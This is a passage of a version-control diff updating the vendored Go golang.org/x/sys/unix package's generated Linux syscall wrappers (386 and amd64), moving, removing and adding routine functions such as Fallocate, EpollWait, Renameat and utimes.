-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(int64(r1)<<32 | int64(r0))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1275,9 +24,8 @@ func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +34,9 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +45,8 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +55,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +65,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +76,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,128 +93,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64_64, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1518,8 +103,8 @@ func pipe2(p *[2]_C_int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1528,8 +113,8 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_FADVISE64_64, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice))
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1538,18 +123,13 @@ func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1569,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1577,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1585,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1593,7 +173,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1695,6 +275,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
- r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
- written = int(r0)
-@@ -1706,8 +306,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1716,8 +317,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1817,6 +419,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(n int, list *_Gid_t) (nn int, err error) {
- r0, _, e1 := RawSyscall(SYS_GETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
- nn = int(r0)
-@@ -1860,15 +472,8 @@ func mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Pause() (err error) {
-+ _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1877,8 +482,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func getrlimit(resource int, rlim *rlimit32) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1887,8 +492,8 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getrlimit(resource int, rlim *rlimit32) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+func setrlimit(resource int, rlim *rlimit32) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1897,8 +502,13 @@ func getrlimit(resource int, rlim *rlimit32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setrlimit(resource int, rlim *rlimit32) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1943,6 +553,21 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
- n = int(r0)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-index dc8fe0a8..f64adef4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,amd64 syscall_linux.go syscall_linux_amd64.go
-+// go run mksyscall.go -tags linux,amd64 syscall_linux.go syscall_linux_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,amd64
-@@ -14,1446 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
